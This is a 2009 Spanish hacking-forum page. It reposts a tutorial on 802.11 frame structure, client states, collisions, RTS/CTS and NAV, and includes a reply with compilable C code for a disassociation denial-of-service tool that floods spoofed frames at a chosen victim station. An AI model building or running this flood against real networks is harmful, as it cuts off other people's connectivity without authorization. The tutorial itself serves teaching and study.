Buenas:
Yo tengo 2 ipw2100 y ni Windows ni Linux
Un saludo
ChimoC
Yo tengo 2 ipw2100 y ni Windows ni Linux
Un saludo
ChimoC
- Bienvenido a Test Foro de elhacker.net SMF 2.1.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
#1292
Materiales y equipos / Re: Auditoría wifi con Intel pro wireless 2100
21 Julio 2009, 15:08 PM
Buenas:
Que yo sepa la ipw2100 solo entra en modo monitor y NO inyecta
Un saludo
ChimoC
Que yo sepa la ipw2100 solo entra en modo monitor y NO inyecta
Un saludo
ChimoC
#1293
Wireless en Linux / Re: [HOWTO] Crakeando WPA/WPA2 vía fuerza bruta usando Pyrit en Ubuntu 9.04
20 Julio 2009, 11:01 AM
Buenas:
Este fin de semana me lo he tomado sabático (cervecita, tapitay nada de "internés")
Chincheta al canto en Temas de interés y muchas gracias
Un saludo
ChimoC
Este fin de semana me lo he tomado sabático (cervecita, tapitay nada de "internés")
Chincheta al canto en Temas de interés y muchas gracias
Un saludo
ChimoC
#1294
Hacking Wireless / Re: Taller de Vic_Thor: PROTOCOLO 802.11. TALLER WiFi
17 Julio 2009, 11:42 AM
Y también la función main cambia con respecto al anterior, esta es:
Al igual que antes, hay muy poco que explicar ya que los comentarios en el código hablan por sí mismos... observa cómo se construye la trama "mal intencionada" y que se almacena en un array que he llamado DISO[]
Luego, lo único que hay que hacer es enviar esos datos almacenados mediante la función send_packet que hablábamos.
Para compilarlo
Y antes de despedir esta parte... los deberes.
=========================================
Muchas gracias Vic_Thor por el bbcode y por hacernos disfrutar con las explicaciones.
Un saludo
Código [Seleccionar]
int main( int argc, char *argv[] ) // inicio del programa
{
int z;
//Comprueba el paso de parámetros
if( argc != 2 ) {
printf("\nUso: dos01 interface\n\nEjemplo: dos01 wlan0\n\n");
exit( 0 );
}
/* Abrir Interface wifi para enviar/recibir tráfico */
opt.iface_out = argv[1];
_wi_out = wi_open(opt.iface_out);
if (!_wi_out)
return 1;
dev.fd_out = wi_fd(_wi_out);
_wi_in = _wi_out;
dev.fd_in = dev.fd_out;
dev.arptype_in = dev.arptype_out;
wi_get_mac(_wi_in, dev.mac_in);
wi_get_mac(_wi_out, dev.mac_out);
/* drop privileges */
setuid( getuid() );
unsigned int mac_ap[6], mac_cl[6]; //mac_ap es la mac del AP y mac_cli la mac de la víctima
unsigned char DISO[26];
// Solicitamos la entrada de MAC's por pantalla
printf ("\nEscribe la MAC del Punto de Acceso --------> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_ap[0],&mac_ap[1],&mac_ap[2],&mac_ap[3],&mac_ap[4],&mac_ap[5]);
printf ("\nEscribe la MAC de la Estación a Disociar --> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_cl[0],&mac_cl[1],&mac_cl[2],&mac_cl[3],&mac_cl[4],&mac_cl[5]);
/***************************************/
/* Construimos la trama de Disociación */
/***************************************/
// FRAME CONTROL bytes 0 y 1
DISO[0]=0xA0; // Esto es Disociación!!! también podemos usar 0xC0 que sería desautenticación!!!
DISO[1]=0x00;
// DURACION bytes 2 y 3 Valor al azar, para el ejemplo 023C
DISO[2]=0X3c;
DISO[3]=0X02;
// MAC DESTINO -- LA DE LA VICTIMA A DISOCIAR de la trama (DISO+4, DISO+5... hasta DISO+9)
for (z=0;z<6;z++) DISO[4+z]=mac_cl[z];
// MAC ORIGEN -- DEL PUNTO DE ACCESO QUE ENVIA LA DISOCIACION (DISO+10, DISO+11.... hasta DISO+15)
for (z=0;z<6;z++) DISO[10+z]=mac_ap[z];
// MAC DEL BSSID -- LA DEL SISTEMA DE DISTRIBUCIÓN que es el Punto de Acceso (DISO+16, DISO+17... hasta DISO+21)
for (z=0;z<6;z++) DISO[16+z]=mac_ap[z];
// Número de Fragmento y número de secuencia bytes 22 y 23
DISO[22]=0x00;
DISO[23]=0x00;
// Razón y Estado de la disociación bytes 24 y 25
DISO[24]=0x04; // La razón 4 significa: El tiempo de inactividad expiró y la estación fue disociada.
DISO[25]=0x00; // Estado 0 significa: satisfactorio
// Mostramos en pantalla la trama a enviar
printf ("\nTrama a enviar"
"\n***** * ******\n");
dump_packet(DISO,26); //Volcamos el paquete a enviar por pantalla para ver su encapsulado
printf("\nPulsa Ctrl+C para cancelar el ataque\n\n");
z=1;
while(1)
{
send_packet(DISO,26); usleep(20000);
printf ("\rEnviando trama número %i \r",z);
fflush( stdout );
z++;
}
exit(0);
}Al igual que antes, hay muy poco que explicar ya que los comentarios en el código hablan por sí mismos... observa cómo se construye la trama "mal intencionada" y que se almacena en un array que he llamado DISO[]
Luego, lo único que hay que hacer es enviar esos datos almacenados mediante la función send_packet que hablábamos.
Para compilarlo
Código [Seleccionar]
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude -c -o dos01.o dos01.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude dos02.o common.o crypto.o -o dos02 -Losdep -losdep -lssl -lcryptoY antes de despedir esta parte... los deberes.
- * Modificar el código de wifiesnif.c para que nos diga (en el caso de que el paquete esté cifrado) con qué tipo de cifrado nos topamos, esto es que diga si es WEP o WPA. (tendrás que investigar un poco por tu cuenta)
* Modificar el código de wifiesnif.c para que nos diga si se trata de una trama QoS siempre que sea una trama de datos
=========================================
Muchas gracias Vic_Thor por el bbcode y por hacernos disfrutar con las explicaciones.
Un saludo
#1295
Hacking Wireless / Taller de Vic_Thor: PROTOCOLO 802.11. TALLER WiFi
17 Julio 2009, 11:37 AM
Buenas:
Como el tema me ha parecido muy interesante e instructivo, aquí os dejo un copy/paste de un nuevo taller de Vic_Thor.
El link del post original lo podeis ver aquí.
El copy/paste es:
PROTOCOLO 802.11. TALLER WiFi.
Durante estas últimas semanas este foro ha estado ha estado "animado", también he recibido muchos mensajes privados acerca del comportamiento las redes WiFi protegidas (WEP/WPA) y me he dado cuenta , que si bien mas o menos todos conocemos "la práctica" de cómo atacar redes inalámbricas, la práctica totalidad de las preguntas que me habéis hecho se resuelven con un BUEN CONOCIMIENTO teórico de cómo es el comportamiento de las mismas.
Es decir, muchos de nosotros "sabemos" usar herramientas del tipo aricrack-aireplay-airodump-etc--- pero pocos tienen claro por qué funcionan y por qué resulta (a veces sencillo, a veces no tanto) obtener una clave wep o wpa.
Por eso, he tirado de mis apuntes (aquellos con los que sufren mis queridos alumnos) y les he dado una aspecto algo informal, espero que el resultado sea bueno.
Voy a seguir la misma iniciativa de nuestro "querido" Taller TCP/IP esperando que este nuevo se convierta en un Taller WiFi.
Este hilo permanecerá cerrado, los comentarios y dudas las resolveremos en otro (como en el Taller TCP/IP)
Si prestáis atención a todo lo que voy a ir comentado y cuando tengáis una duda repasáis los contenidos que vamos a esbozar seguro que además de "usar" esas herramientas, comprenderéis cómo funcionan y cómo podemos modificarlas para realizar ataques "mas refinados" o por pura "curiosidad"
Deberíamos comenzar por la capa física, esto es, señales, antenas, bandas de radiofrecuencia, dispositivos, tarjetas... Ufff, un sin fin de conceptos y conocimientos que (para lo que se trata en este momento) diremos que "sobra".
Por tanto, nos hemos de creer dos cosas para saltarnos la capa física de un plumazo:
También un Punto de acceso puede comunicarse con otros puntos de acceso extendiendo la zona inalámbrica o creando un perímetro inalámbrico mas grande, es lo que se conoce con el nombre de WDS.
2.- Una estación inalámbrica es un dispositivo que puede comunicarse con un punto de acceso y por consiguiente, con el resto de estaciones inalámbricas o con estaciones con cable.
También una estación inalámbrica puede comunicarse directamente con otra sin necesidad de punto de acceso, es lo que conocemos como comunicación ad-hoc.[/list]En nuestro estudio nos va a interesar mas "cómo acceden al medio" tanto las estaciones como los puntos de acceso, esto es, lo que se llama Capa 2 en los modelos de comunicaciones.
Si entendemos bien la capa 2 en las comunicaciones inalámbricas, entenderemos, comprenderemos y seremos capaces de escenificar los ataques contra las vulnerabilidades en redes inalámbricas, incluidos los ataques a cifrados y otros como la denegación de servicios, hombre en medio, despliegue de puntos de acceso ilícitos o reinyección de tráfico en la red.
El tráfico en la capa 2 se le llama tramas (frames en inglés) no es que sea muy importante saber el nombrecito... pero mejor llamar a cada cosa por su nombre.
Un Punto de Acceso tiene:
Es importante señalar que la forma de comunicarse en redes inalámbricas (WiFi) está estandarizado, de ahí tenemos el archiconocidos 802.11, junto con sus "variantes" a,b,c,d,e,g,h,i,n etc... cuando encontremos documentos o información relativa a 802.11b u 802.11e, etc debemos de asumir que la comunicación está "ordenada", "regulada", "estandarizada", "definida" mediante esos estándares.
No obstante, existen fabricantes que además de "soportar" el estándar , también implementan cambios y modificaciones de "cosecha propia", es decir, pequeñas o grandes variaciones sobre el protocolo de comunicaciones que dicho fabricante añade.
Ni que decir tiene, que esos "añadidos" al ser particulares de un determinado fabricante, podrán sólo usarse entre equipamientos del mismo fabricante.
Esos añadidos (que a la postre deberían convertirse en mejoras) pueden ser un obstáculo cuando entran en escena otro hardware de diferente fabricante, sin embargo, y a menos que el administrador de la red inalámbrica así lo decida, siempre serán compatibles con los estandarizados.
Está muy claro, pero con un ejemplo quedará todo cristalino (si es que hay algo que aclarar):
¿Por qué es esto posible? Porque las tramas del tipo disociación que un punto de acceso envía a un cliente o a todos no están protegidas ni cifradas de forma alguna. Esto ocurre siempre, tanto si usamos WEP-WPA como si no.
CISCO, incorpora un "añadido" especial a este tipo de tramas... el llamado CCX que no es otra cosa que un control de integridad de las tramas de disociación (y no sólo de ellas) de forma que el ataque de disociación no sería efectivo.[/list]Pero claro, como decíamos antes, sólo si usamos hardware de CISCO en todo el perímetro de la red inalámbrica sería factible implementar dicha característica.
Aunque son documentos "muy técnicos" (y de eso precisamente quiero huir en esta explicación) quien lo desee puede consultar libremente los modelos para 802.11, 802.11a, 802.11b, ... En:: http://standards.ieee.org/getieee802/
Después de esta breve introducción vamos a desmenuzar cómo es una trama de datos en 802.11.
Explicamos (de derecha a izquierda)
FCS es un campo de 4 bytes que se añade como control de Secuencia, no debemos preocuparnos de ello por ahora.
Cuerpo. Es el contenido de la comunicación (los datos a transmitir), si no usamos seguridad alguna lo podremos ver "en texto plano" como si tal cosa, si es un icmp, un intercambio TCP, etc... Si está cifrado mediante WEP o WPA pues "de momento" no tiene sentido lo que "vemos".
Cabecera MAC: Lo primero que nos llama la atención es que su tamaño "puede variar".
Variar? Por qué?
Porque dependiendo del tipo de mensaje y de otras funcionalidades (por ejemplo si se utiliza QoS o no) puede ser de un tamaño u otro, lo que siempre existe en la cabecera MAC es esto:
Y cuando son 26 ó 30 ó 32??
Cuando concurra alguna de estas circunstancias:
* La comunicación se realiza entre puntos de acceso.[/list]
Si utilizamos QoS, se añaden 2 bytes para el control de las colas QoS después de la tercera dirección MAC, o si lo prefieres, antes del número de secuencia
Si la comunicación es "entre" puntos de acceso, se añade una cuarta dirección MAC (la del otro punto de acceso) inmediatamente después del número de secuencia, como ya sabemos una dirección MAC tiene 6 bytes.
Por eso podemos tener cabeceras MAC de varias "longitudes", por ejemplo:
24 bytes -> Comunicación entre cliente y punto de acceso, sin QoS
26 Bytes -> Comunicación entre cliente y punto de acceso, con QoS
30 bytes -> Comunicación entre puntos de acceso, sin QoS
32 bytes -> Comunicación entre puntos de acceso, con QoS
También hay que hacer una salvedad en cuanto a las 3 direcciones MAC que hablaba... en el ejemplo puse origen-destino-bssid, no es así realmente... Todo dependerá de si se trata de una trama de administración, de datos o de la dirección del tráfico.
Es decir, la dirección MAC1 (los bytes 4-5-6-7-8-9-10) pueden representar el bssid, la dirección MAC origen e incluso la dirección MAC destino. Lo mismo ocurre con las otras dos direcciones MAC, MAC2 y MAC3.
Todavía es pronto para "comprender" bien este "baile" de direcciones MAC, de momento nos quedamos que MAC1, MAC2 y MAC3 representan las direcciones origen, destino y bssid de la comunicación PERO NO PRECISAMENTE Y SIEMPRE EN ESE ORDEN!!!!!
Llegados a este punto, Cómo se sabe si se trata de una trama de control, de administración o de datos???
Por los dos primeros bytes de la cabecera MAC, esto es, el FC o Frame Control
Al ser un campo de dos bytes contiene 16 bits de información correspondiente al tipo de trama, al subtipo, a si la comunicación ve "hacia" el punto de acceso, si va "hacia" el cliente, si está fragmentada, si hay mas datos, si se trata de una trama retransmitida, y otros... como si los datos van o no cifrados, si se utiliza "power management" (administración de energía)... .
Tenemos que leer esos bits de derecha a izquierda, por ejemplo, supongamos que el campo frame control contiene el valor 08 41 en hexadecimal... en binario son:
Los interpretaremos de "derecha a izquierda" y por parejas, esto es, leemos los bits de derecha a izquierda:
08 = 0000 1000
41 = 0100 0001
Observa que los bits están "rotados" de forma que el "mas significativo" es el que está mas a la izquierda, vamos que no hay que interpretarlo (según el ejemplo) así:
Ahora pasemos a explicar cada campo (al menos los mas significativos)
Versión del Protocolo: bit 0 y 1
Serán siempre cero. Otros valores significarán que no se corresponde con el estándar (por ejemplo una versión propia de un fabricante)
Tipo de Trama (bits 2 y 3)
Identifican el tipo de trama, es decir, si es de administración, de control o de datos.
Subtipo (bits 4,5,6 y 7)
Es una descripción mas detallada del tipo.
ToDS (bit 8 )
Este bit está a uno cuando la trama viaja hacia el sistema de distribución, por ejemplo si la trama la envía un punto de acceso a otro punto de acceso o si una estación envía la trama al punto de acceso.
FromDS (bit 9)
Este bit está a uno si la trama viaja desde el sistema de distribución, por ejemplo cuando un punto de acceso envía tramas a las estaciones. También está a uno cuando la trama viaja de un punto de acceso a otro.
WEP (bit 14)
Este bit se activa (a uno) si los datos están cifrados, en caso contrario los datos viajan en texto plano.
El resto de bits (por ahora) no tienen mucho significado en esta explicación, eso sí, conviene aclarar o ampliar los valores de tipo, subtipo, ToDS y FromDS, unas tablas ayudarán a ello.
Seguro que sino estás pensando que esto es un rollo, al menos pensarás que de momento es fácil...vamos a plantear tres preguntas (con trampa, claro, de lo contrario no tiene gracia)
1.- Según lo expuesto... Si nos encontramos con una trama y los bits 8 y 9 de FC están a cero...¿podemos asegurar que se trata de una comunicación ad-hoc?
R: Si consultamos la tabla que os puse antes, es tajante la respuesta es SI. Pero no es oro todo lo que reluce...La respuesta correcta es NO.
Si bit 8 y bit 9 son cero, efectivamente puede ser una comunicación ad-hoc siempre y cuando la trama sea de DATOS!!!
Si, por ejemplo, la trama es de administración (por ejemplo un beacon o señalización) bit 8 y bit 9 son cero y por supuesto...no es una comunicación entre estaciones.
2.- Otra...Es posible encontrarnos con una trama en la que la cabecera MAC tiene menos de 24 bytes???
R: Al igual que antes, si repasamos lo dicho, la respuesta es NO, puesto que len la cabecera MAC exite un FC de 2 bytes, una duración de 2 bytes. al menos 3 direcciones MAC de 6 bytes cada una (18 en total) y un número de secuencia/fragmento de otros 2 bytes, o sea, un mínimo de 24 bytes...pero la respuesta correcta debería haber sido SI!!!!
SI, por ejemplo una trama de control con subtipo Clear-to-Send (permitido para transmitir) tiene únicamente una longitud de 10 bytes: 2 para FC, 2 para la duración y 6 para la MAC del punto de acceso quien la envía.
3.- Al analizar una trama descubrimos que el bit 14 (Wep) está activado...¿Es realmente una trama cifrada con WEP?
R: NO. Ciertamente los datos (el cuerpo de la trama) estarán cifrados, pero no tiene que ser obligatoriamente con WEP. Bien puede ser WPA o WPA2, este bit indica que los datos están protegidos, pero no te dejes engañar por el nombre del campo, el bit wep a uno indica cifrado, pero no necesariamente un cifrado WEP.
Estas tres preguntas aunque no te lo parezca por ahora, son importantes...Primero porque si nos decidimos a lanzar "un ataque" contra una red WiFi, dependiendo de lo que queramos conseguir habrá que realizarlo sobre tramas de datos, administración o control y en el caso de atacar un cifrado, pues contra el mismo...
Ahora que ya somos capaces de "identificar" los diferentes tipos de tramas, vamos a representar "la coreografía" de cómo funciona todo el mecanismo:
Primero conocer los "estados" en los que nos podemos encontrar:
Un cliente puede estar:
Como ves en la figura, un cliente asociado puede dejar de estarlo y permanecer autenticado.
Normalmente son los puntos de acceso quienes envían tramas de disociación y des-autenticación.
Son los clientes (las estaciones) los que envían tramas de autenticación, asociación y/o reasociación, también de disociación cuando abandona la red.
La reasociación es un caso especial, es aquel en el que una estación estaba asociada y recibió una trama de disociación...entonces queda en estado autenticado y reinicia la asociación mediante una solicitud de reasociación.
Resumiendo:
Un cliente asociado (completó todo el proceso de incorporación a la red) puede ser desasociado o des-autenticado por el punto de acceso
Un cliente autenticado puede ser des-autenticado por el punto de acceso.
Un cliente que fue desautenticado podrá solicitar una reasociación
Un cliente no asociado ni autenticado, primero solicitará autenticación y luego asociación.
Un cliente autenticado solicitará asociación o reasociación dependiendo del estado anterior al momento de la autenticación.
Por supuesto que un cliente también puede abandonar la red sin necesidad que sea el punto de acceso quien lo haga, a los efectos, sería igual que lo descrito anteriormente.
===============================================
ESTRUCTURA DE UN FRAME CONTROL
Un punto de acceso envía o recibe:
Beacons o señalizaciones Normalmente lo hace a intervalos regulares y sirve para que los clientes "lo vean" y puedan conectarse al mismo.
Se puede "restringir" el envío de beacons, si este es el caso, el cliente debe conocer el essid (nombre) para poder realizar los pasos de asociación y autenticación.. Es el mecanismo por el que las estaciones pueden enumerar todos los puntos de acceso disponibles.
El formato típico de una trama beacon es esta:
* También puede existir un cuarto campo de MAC después del número de secuencia para el caso de comunicación entre puntos de acceso.
El FC de un beacon es:
El cuerpo de un beacon contiene información del tipo: Marcas de tiempo, intervalo de señalización, SSID, Tasa de transmisión soportada (1Mb, 11Mb, 22Mb, etc), Frecuencia, y otros como DS, CF, IBSS, TIM, País, patrones y parámetros FH.
En una ampliación posterior hablaremos de ello (para los curiosos)
Probes: Es un intercambio de mensajes que típicamente ocurre entre el punto de acceso y las estaciones, los mas habituales son: Request y Response (Solicitud de Sondeo y Respuesta de Sondeo)
El formato típico de una trama Probe es esta:
* También puede existir un cuarto campo de MAC después del número de secuencia para el caso de comunicación entre puntos de acceso.
El FC de un Probe Request es:
El cuerpo de un mensaje de tipo Probe Request contiene el SSID, Tasas de datos soportados y otros identificadores que puedan resultar interesantes.
El cuerpo de un mensaje de tipo Probe Response contiene básicamente los mismos elementos que el de un beacon mas los identificadores solicitados mediante el probe request que se solicitó.
Autenticación:
La autenticación implica una serie de intercambios entre las estaciones y el punto de acceso. No siempre se realiza de la misma manera, esto es porque pueden existir otros sistemas de autenticación (tipo RADIUS) que también pueden estar presentes.
Por lo general, una trama de Autenticación es esta:
* También puede existir un cuarto campo de MAC después del número de secuencia para el caso de comunicación entre puntos de acceso.
El cuerpo del mensaje de una trama de autenticación depende de cada contexto, de los algoritmos de cifrado si los hay, de los protocolos, etc... Entre ellos también existe un número de secuencia para la autenticación en curso y códigos de estado y respuesta.
Un ejemplo típico es:
Una vez se hayan intercambiado toda la serie de mensajes entre el punto de acceso y las estaciones, el punto de acceso enviará otra trama de autenticación al cliente con idéntica estructura en su FC pero en el cuerpo de la trama incluirá:
Número de secuencia de autenticación recibida + 1 (si se envió 0100 se recibirá 0200)
Estado o razón de la autenticación: por ejemplo 00 00 si resultó satisfactoria.
Desautenticación
Este tipo de trama es de "una sola vía" y normalmente lo envía un punto de acceso a una estación o a todas (broadcast) con el objeto de des-autenticar a los clientes autenticados. y/o asociados. En cualquiera de los casos, las estaciones clientes deberán repetir todo el proceso para "volver" a la red.
Por lo general, una trama de Des-Autenticación es esta:
MAC1 es la dirección MAC del equipo que esta siendo desautenticado
MAC2
El cuerpo de la trama contiene entre otros datos, información de las razones de la desautenticación
El FC de una des-autenticación es:
Asociación
Consiste en un intercambio de tramas de administración con subtipo Request y Response una vez que la autenticación resultó correcta.
En el cuerpo de la trama se incluye información diversa acerca de las capacidades del dispositivo, tasas de transmisión (Rate) soportados, QoS, el ESSID, y opcionalmente razones y estados de la solicitud de la asociación.
El FC de una Solicitud de Asociación es:
Así mismo, la respuesta de la asociación es esta:
En la Cabecera MAC de las tramas de Asociación, las MAC's de cada dispositivo "bailan" dependiendo de si es una Solicitud o Respuesta, en cualquier caso siguen la forma definida: Destino – Origen – BSSID
Relativo a la Asociación, existen otros dos formatos de trama relacionados, estas son Reasociación y Disociación.
Un Punto de Acceso puede enviar tramas de disociación a una determinada estación o a todas (broadcast). El resultado final serán clientes desconectados.
Un cliente o estación, puede enviar tramas de reasociación tras recibir una disociación y generalmente son también de un sólo sentido. También un cliente puede enviar tramas de reasociación si ya está conectado a un punto de acceso y desea asociarse con otro.
Reasociación
El Formato trama para una reasociación es:
Observa que en este caso tenemos 4 MAC's, de forma que:
MAC1 es la dirección del cliente
MAC2 es la del Punto de acesso con el que se desea reasociar
MAC3 es la dirección del punto de Acceso con el se está actualmente asociado
MAC4 Es la dirección del BSSID
El FC para una Solicitud de reasociación es:
El FC para una Respuesta de reasociación es:
Disociación
El Formato trama para una disociación es::
En este caso sólo se utilizan dos direcciones MAC, una para la dirección de la estación que se desea disociar (o broadcast para todas) y la otra para la dirección MAC del Punto de Acceso.
En el cuerpo de la trama se incluyen razones y/o estados relevantes a la disociación
El FC de una disociación es:
Resumen: según lo visto hasta ahora, las tramas de Administración y sus correspondientes FC serían:
===========================================
ANÁLISIS DE CAPTURA DE TRÁFICO 802.11
Conviene practicar con algún esnifer para afianzar lo explicado, un buen candidato es WireShark (usa el que prefieras) a continuación te pongo una serie de pantallas que ilustran todo lo explicado.
Se han eliminado bastantes paquetes de las capturas y aunque no están todas las tramas que hemos estudiado, la mayoría sí.
El punto de Acceso es un Cisco Linksys y la estación la tarjeta identificada como D-Link:
En la primera pantalla "observamos" la secuencia de lo sucedido:
Escenario General
Paquete 1. Beacon
Paquete 2. Probe Request
Paquete 3. Probe Response
Paquete 4. Autenticación
Paquete 5. Trama de Control. ACK
Paquete 6. Autenticación
Paquete 7. Trama de Control ACK
Paquete 8. Asociación Request
Paquete 9. Trama de Control. ACK
Paquete 10. Asociación Response.
Paquete 11. Trama de Control. ACK
Paquete 12. Trama de Datos
Paquete 13. Trama de Datos
Paquete 14. Desautenticación
Para los que queráis observar con mas detalle estos mismos paquetes capturados os dejo un enlace para que os podáis [size=18]descargar [/size]el archivo .cap del mismo: http://www.megaupload.com/?d=Y32ZK1G3
Ale!! a estudiar
========================================
LA DANZA DE MAC'S Y TIPOS DE TRAMA
No puedo terminar esta parte sin comentar algo que es muy importante a la hora de analizar el tráfico de tramas de datos.
Como dije al comienzo de este documento, cuando existen datos a transmitir, o mejor dicho, cuando el tipo de trama en la FC es de datos (10) las direcciones MAC "bailan" dependiendo de si están activos o no los bits toDS y FromDS, te pongo una imagen que vale mas que mil palabras:
Y un ejemplo general...
Un cliente envía un ping al punto de de acceso, por tanto toDS está a uno (1) y FromDs estará a cero (0)
También puedes pensar que para qué 3 MAC's?? si la comunicación es entre dos...claro, cuando la comunicación es entre punto de acceso y cliente (exclusivamente) pues es como "raro", pero imagina que la comunicación es entre dos clientes inalámbricos...por ejemplo STA-01 hace un ping a STA-99
STA-01 enviará una trama de datos hacia el punto de acceso pero con destino a STA-99, bits toDS a 1 y FromDS a 0
Para saber si una trama viaja desde o hacia el sistema de distribución (y así colocar las mac's en su orden correcto) sólo tendremos que comprobar el byte 1 de Frame Control, imagina que capturas una trama de datos que es algo así:
Lo que tendremos que hacer es "analizar" el segundo byte de la FrameControl, por ejemplo, para saber si FromDS está activado:
Supongamos que tenemos un array llamado paquete[] que tiene todos y cada uno de los valores de la trama, de tal modo:
El que nos interesa es paquete[1], si hacemos un AND con 0x01 ó con 0x02 obtendremos 1 ó 2 dependiendo del estado de toDS y de FromDS:
También podríamos comprobarlo así:
Así mismo, si deseáramos averiguar si se trata de una trama de datos, podríamos hacer algo asi:
Observa que ahora se analizó el byte cero del paquete correspondiente.
Para saber si un paquete es QoS o no, también comprobaremos el byte cero.
Esto viene a cuento porque en el momento que estemos preparados, vamos a crear pequeños "programas" para poder analizar el tráfico y/o enviar tramas "a nuestro gusto".
=================================
Seguimos con el Taller... .
Ya sí...os prometía "descanso", continuar con WEP, etc... pero... Como quiero que empecemos a "tocar bola" cuanto antes vamos a seguir y no precisamente con lo "prometido" (bueno casi sí)
En este post vamos a "sentar" los principios de "los desafíos" que han de sortear las estaciones WiFi para acceder al medio.
Gracias a esta información vamos a entender algunos de los "ataques" de Denegación de Servicio (DoS).
Lo que voy a contar es algo que pocas veces se toma en cuenta y que desgraciadamente, ni siquiera se comenta en otros sitios (incluidos muy prestigiosos libros y documentos) o si se hace, lo explican de forma muy somera y con poca claridad.
En las comunicaciones por cable (léase Ethernet que a todos nos suena mas) es razonable pensar que cuando una trama se transmite el receptor la recibe correctamente.
Vale, sabemos que no siempre es así, que pueden existir "colisiones" sobretodo cuando usamos Hub's en lugar de switches, aún con switches podemos tener colisiones en la red, especialmente lo que se denomina colisiones tardías, difíciles de diagnosticar.
Una colisión no es otra cosa que el envío simultáneo de información por dos o mas estaciones en la red. Cuando eso ocurre, y volviendo al ejemplo de la red de cable Ethernet, los paquetes se destruyen y se hace "un silencio" para que se vuelva a retransmitir. De esto se ocupa un protocolo llamado CSMA/CD que si recordáis el Taller TCP/IP, era lo que llamaba el "policía de la red", que pone orden en el tráfico, etc...
Las comunicaciones por Radio Frecuencia no están libres de colisiones, ni mucho menos, sobretodo estas que llamamos WiFi.
Además, el protocolo 802.11 trabaja de una forma "especial", 802.11 incorpora un mecanismo de "asentimiento positivo" de forma que TODAS las tramas enviadas deben "confirmadas" con un ACK positivo por el receptor, de otra forma la trama se considera perdida.
Bueno, veremos mas adelante (muuuchooo mas) pero ya os lo adelanto, que hay un caso especial: QoS.
Ciertamente me sorprendió que en el hilo del tkiptun:
http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5556&start=8&postdays=0&postorder=asc&highlight=
Cuando dije:
Nadie preguntó por qué con QoS se pueden enviar hasta 15 paquetes y sin QoS solamente uno!!!! Claro, que a lo mejor ya lo sabíais y por eso no se preguntó nada... Bueno, para los que no lo supieran:
La razón de ello viene por esto que comentamos de los ACK positivos...determinadas comunicaciones QoS usan una "ráfaga" y precisamente por ello, podemos enviar 15 tramas sin necesidad de recibir un ACK por cada una de ellas, bastará un ACK positivo para las 15...bueno, que me estoy saliendo del tema...
El caso es que cada trama de datos enviada debe ser respondida con su correspondiente ACK
Y las preguntas con "trampa" de rigor...
1.- Y Si se "pierde" la primera trama transmitida??
2.- Y si lo que se pierde es el ACK???
Con "perder" me refiero a interferencias, problemas de comunicación, etc... vamos que no llegan al destino...
Pues en estos dos casos, la trama debe ser retransmitida (acabamos de descubrir el significado de uno de los bits de la FC que no comentamos nada en absoluto, el bit 11 (Reintentar o retransmitir) se activa cuando una trama lo está siendo.
Pero volvamos a lo que nos ocupa... las colisiones.
Ethernet cuenta con CSMA/CD para el tratamiento de colisiones, 802.11 cuenta con CSMA/CA.
Sin embargo no es suficiente por sí sólo...y te pongo un ejemplo (una imagen)
Equipo 1 y equipo 2 están "al alcance"
Equipo 2 y Equipo 3, también lo están
Sin embargo, equipo 3 no se puede comunicar directamente con Equipo 1 porque "no están al alcance"
Además, es perfectamente posible que equipo 1 y equipo 3 transmitan datos al mismo tiempo, y eso...en la zona amarilla es una colisión.
Esto es el equivalente de las colisiones tardías en Ethernet, aquí los llamamos "Nodos ocultos", es decir, estaciones que pertenecen al medio pero que están tan alejadas unas de otras que la comunicación directa entre ellas no es posible.
Por si fuese poco, la mayoría de las tarjetas inalámbricas operan en "half-duplex", esto es, no pueden enviar y recibir al mismo tiempo (realmente son los transceptores de las tarjetas)
Si juntamos todo esto...el equipo 1 y el equipo 3 pueden "no percatarse" de que existe colisión!!!
¿Cómo solucionar esto?
Pues con algo de lo que seguro que has oído hablar (o seguro que leer o ver en las configuraciones de tarjetas y puntos de acceso): Enviar tramas ce control RTS y CTS.
RTS es Request to Send, también hay quien lo llama ready to send o si lo prefieres preparado para trnasmitir
CTS es Clear to Send o Listo para transmitir o permiso para transmirir
Ambos aseguran que el canal "está limpio y preparado para transmitir" de tal forma que otras estaciones "se callan" hasta que el medio esté libre para poder enviar sus tramas.
Luego la imagen correcta de acceso sería:
Y si existiese un "nodo oculto" como en el ejemplo anterior, quedaría así:
Como ves en la figura anterior, el nodo oculto recibe un CTS de aquél equipo que sí es accesible y "se calla".
Ni que decir tiene que todo esto tiene una temporización (Timing) y un "umbral" (threshold).
El timing se puede "controlar" mediante ajustes DCF, PCF o HCF que no son otra cosa que cómo va a funcionar el protocolo CSMA/CA.
El umbral también se puede ajustar en cada tarjeta, así por ejemplo las tramas "cortas" pueden ser enviadas inmediatamente mientras que las "largas" utilizarán RTS y CTS antes de ser enviadas.
¿Cortas y largas? ¿cómo de cortas o cómo de largas?
Pues como ya he dicho, el umbral. Aquellas que sean mas cortas que el umbral se transmitirán inmediatamente y las que sean mas largas que el umbral, usarán los métodos RTS y CTS.
DCF es el modo "por defecto" del estándar 802.11 y funciona igual que ethernet: Escuchar antes de hablar...y si hay silencio...se envía. Si hay colisión, se entrega un tiempo aleatorio de espera a cada estación y vuelta a empezar.
PCF utiliza lo que se llama "Puntos de Coordinación" que son los propios puntos de acceso y difiere en el método anterior en que permite emitir a las estaciones tras un corto periodo de tiempo exista o no colisiones.
HCF Permite a las estaciones "balancear" el tráfico en función de la mejor calidad de los servicios, encola los paquetes dependiendo del tipo de aplicación...es.. QoS.
Tanto RTS/CTS. Como el Timming, como el umbral existen para garantizar una transmisión sin interrupciones y con el mínimo de sobrecarga.
Y si piensas que aquí está todo dicho...pues falta otra cosa: NAV.
NAV es un Vector de Localización de Red, lo utiliza CSMA/CA y la pareja CTS/RTS...pero también se inicializa con el campo Duración de la Cabecera MAC:
Recordemos como era una cabecera MAC de una trama de datos:
Como ves, existen 2 bytes después del Frame Control que representan la duración.
La duración de que???
Pues el tiempo estimado que debe estar el canal disponible para trasmitir la trama.
